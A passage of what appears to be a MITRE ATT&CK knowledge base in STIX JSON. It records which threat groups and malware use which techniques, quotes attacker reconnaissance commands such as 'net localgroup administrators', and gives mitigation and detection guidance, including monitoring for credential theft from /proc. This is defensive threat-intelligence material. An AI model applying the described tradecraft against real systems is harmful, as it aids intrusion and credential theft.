2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.840Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can retrieve the current content of the user clipboard.(Citation: Github Koadic)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--66451625-22d3-4044-b8c3-24abdf41c906","created":"2024-09-25T15:30:51.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"},{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T18:44:02.799Z","description":"\n[Play](https://attack.mitre.org/groups/G1040) has used tools including GMER, IOBit, and PowerTool to disable antivirus software.(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)\n","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6645bf91-574b-46c3-b816-8ed45a465417","type":"relationship","created":"2020-08-13T14:05:44.534Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:05:44.534Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) has used plugins with a self-delete capability.(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--664d1aaf-eb98-4683-bc57-1a19934d934a","created":"2022-09-27T17:46:50.380Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T17:46:50.380Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used the command `net localgroup administrators` to list all administrators part of a local group.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--664df356-e939-4705-9e94-85721d5a53ef","created":"2024-04-04T18:01:29.488Z","revoked":false,"external_references":[{"source_name":"Kersten Akira 2023","description":"Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.","url":"https://www.trellix.com/blogs/research/akira-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T18:01:29.488Z","description":"[Akira](https://attack.mitre.org/software/S1129) executes from the Windows command line and can take various arguments for execution.(Citation: Kersten Akira 2023)","relationship_type":"uses","source_ref":"malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66506cb1-20d5-4cb2-b301-e4a5d2868567","type":"relationship","created":"2020-02-11T19:08:51.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T19:08:51.782Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66513679-0866-4091-a346-2679db5e3cca","type":"relationship","created":"2020-05-26T20:09:39.246Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.792Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has executed custom-compiled XMRIG miner DLLs using rundll32.exe.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66551074-a1e3-439c-a996-c1f7ca8136e2","type":"relationship","created":"2019-06-21T16:28:45.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-05T21:40:28.424Z","description":"If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious files.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--665d8625-e2d1-45d5-b5e3-d9bc0e242e7d","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2019-09-09T19:12:32.511Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has collected data from victims' local systems.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--665e5a7f-e575-44c7-839d-4c69f14238d2","created":"2023-01-11T18:37:36.996Z","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-11T18:37:36.996Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used an encrypted http proxy in C2 communications.(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--665f8af6-bdac-4574-9d8c-9c7829e0e4e7","type":"relationship","created":"2021-10-14T22:21:20.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Taidoor","description":"Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.","url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"}],"modified":"2021-10-14T22:21:20.872Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) has downloaded additional files onto a compromised host.(Citation: TrendMicro Taidoor)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66607dcd-372d-4906-8b11-062edeeceace","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Monitor for newly constructed processes and/or command-lines that can interact with the DACLs using built-in Windows commands, such as icacls, cacls, takeown, and attrib, which can grant adversaries higher permissions on specific files and folders.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66620243-f978-4038-8bf3-d574b5ce5b90","type":"relationship","created":"2020-01-22T15:11:52.138Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.","url":"https://github.com/sensepost/ruler","source_name":"SensePost Ruler GitHub"}],"modified":"2020-01-22T15:11:52.138Z","description":"[Ruler](https://attack.mitre.org/software/S0358) can be used to automate the abuse of Outlook Forms to establish persistence.(Citation: SensePost Ruler GitHub)","relationship_type":"uses","source_ref":"tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38","target_ref":"attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66625422-17cd-4b04-beb5-fa2eabe350ad","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf","description":"F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.","source_name":"F-Secure Cosmicduke"}],"modified":"2021-07-20T21:57:36.229Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) copies and exfiltrates the clipboard contents every 30 seconds.(Citation: F-Secure Cosmicduke)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66647c20-2d76-4711-9eee-07d932e75851","type":"relationship","created":"2020-03-27T21:14:03.099Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.crowdstrike.com/blog/whois-numbered-panda/","description":"Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.","source_name":"Meyers Numbered Panda"}],"modified":"2020-03-27T21:14:03.099Z","description":"[APT12](https://attack.mitre.org/groups/G0005) has used multiple variants of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) including multiplying the first two octets of an IP address and adding the third octet to that value in order to get a resulting command and control port.(Citation: Meyers Numbered Panda)","relationship_type":"uses","source_ref":"intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb","target_ref":"attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66655f1e-fe9e-487c-a4e2-4716e16aa609","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor cloud logs for API calls and other potentially unusual activity related to cloud data object storage enumeration. Discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.","source_ref":"x-mitre-data-component--fcc4811f-9cc8-4db5-8097-4d8242a380de","target_ref":"attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--666e9638-d9d9-4480-a98c-dfa247e43bd2","type":"relationship","created":"2021-03-24T17:06:09.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Targeting Elections September 2020","url":"https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/","description":"Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021."},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}],"modified":"2022-02-28T16:07:43.898Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used spearphishing to compromise credentials.(Citation: Microsoft Targeting Elections September 2020)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--666ef8c1-cc87-4efa-9f35-f9bf1d1317c6","type":"relationship","created":"2021-02-09T14:35:39.645Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secure List Bad Rabbit","url":"https://securelist.com/bad-rabbit-ransomware/82851/","description":"Mamedov, O. Sinitsyn, F. Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021."}],"modified":"2021-05-04T19:28:12.874Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) has attempted to bypass UAC and gain elevated administrative privileges.(Citation: Secure List Bad Rabbit)","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--666f1286-c25b-49ef-9d86-42a00ea69ab1","created":"2021-11-17T16:36:15.592Z","x_mitre_version":"1.0","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Clambling](https://attack.mitre.org/software/S0660) can inject into the `svchost.exe` process for execution.(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-11T14:56:24.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6674eb2b-8295-4af4-b4d2-0659c15d3c71","created":"2021-10-01T01:57:31.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lacework TeamTNT May 2021","description":"Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 16, 2024.","url":"https://www.lacework.com/blog/taking-teamtnt-docker-images-offline"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:23:56.910Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has relied on users to download and execute malicious Docker images.(Citation: Lacework TeamTNT May 2021)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--667592ad-e249-4efd-933f-75a53b25567a","created":"2022-06-09T18:40:23.658Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[OutSteel](https://attack.mitre.org/software/S1017) can automatically upload collected files to its C2 server.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T18:40:23.658Z","relationship_type":"uses","source_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--66794b81-fc1e-4a28-9a52-7e67d64cbed6","created":"2022-08-09T16:52:45.070Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."},{"source_name":"Netskope Squirrelwaffle Oct 2021","url":"https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot","description":"Palazolo, G. (2021, October 7). SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has downloaded and executed additional encoded payloads.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope Squirrelwaffle Oct 2021)","modified":"2022-08-26T21:12:02.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6679b9ed-d9ec-4ff3-9961-24f39814f6d0","created":"2022-06-16T13:47:39.025Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used `net view` to enumerate domain machines.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-16T13:47:39.025Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--667ae01a-69ae-43c7-98c5-1a32ca1e93fa","created":"2022-03-30T14:26:51.872Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands and arguments that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","modified":"2022-04-20T00:31:15.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--667c0879-3ea2-48f1-9a1b-ceefca33aa43","type":"relationship","created":"2020-06-22T20:34:05.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."},{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."}],"modified":"2021-10-15T00:45:22.062Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has deleted itself from the system after execution.(Citation: Medium Metamorfo Apr 2020)(Citation: Fortinet Metamorfo Feb 2020)","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--667c86bd-54f8-4602-a94a-054195de2808","type":"relationship","created":"2020-05-11T18:05:53.417Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye HIKIT Rootkit Part 2","url":"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html","description":"Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."}],"modified":"2021-04-23T01:52:58.559Z","description":"[Hikit](https://attack.mitre.org/software/S0009) has the ability to create a remote shell and run given commands.(Citation: FireEye HIKIT Rootkit Part 2)","relationship_type":"uses","source_ref":"malware--95047f03-4811-4300-922e-1ba937d53a61","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--66810009-f426-4cee-8514-21d00753ae7a","created":"2024-05-17T13:34:51.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"},{"source_name":"RedCanary RaspberryRobin 2022","description":"Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.","url":"https://redcanary.com/blog/threat-intelligence/raspberry-robin/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T17:52:56.134Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) has historically used infected USB media to spread to new victims.(Citation: TrendMicro RaspberryRobin 2022)(Citation: RedCanary RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--668139fd-1238-43f0-b768-1b7db4a1f5a0","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"atomic-red proc file system","description":"Atomic Red Team. (2023, November). T1003.007 - OS Credential Dumping: Proc Filesystem. Retrieved March 28, 2024.","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md"},{"source_name":"mimipenguin proc file","description":"Gregal, Hunter. (2019, September 17). MimiPenguin 2.0. Retrieved March 28, 2024.","url":"https://github.com/huntergregal/mimipenguin/blob/master/mimipenguin.sh"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T15:59:01.880Z","description":"Monitor executed commands and arguments that may gather credentials from information stored in the Proc filesystem or /proc. For instance, adversaries may use regex patterns to search for process memory that may be exfiltrated or 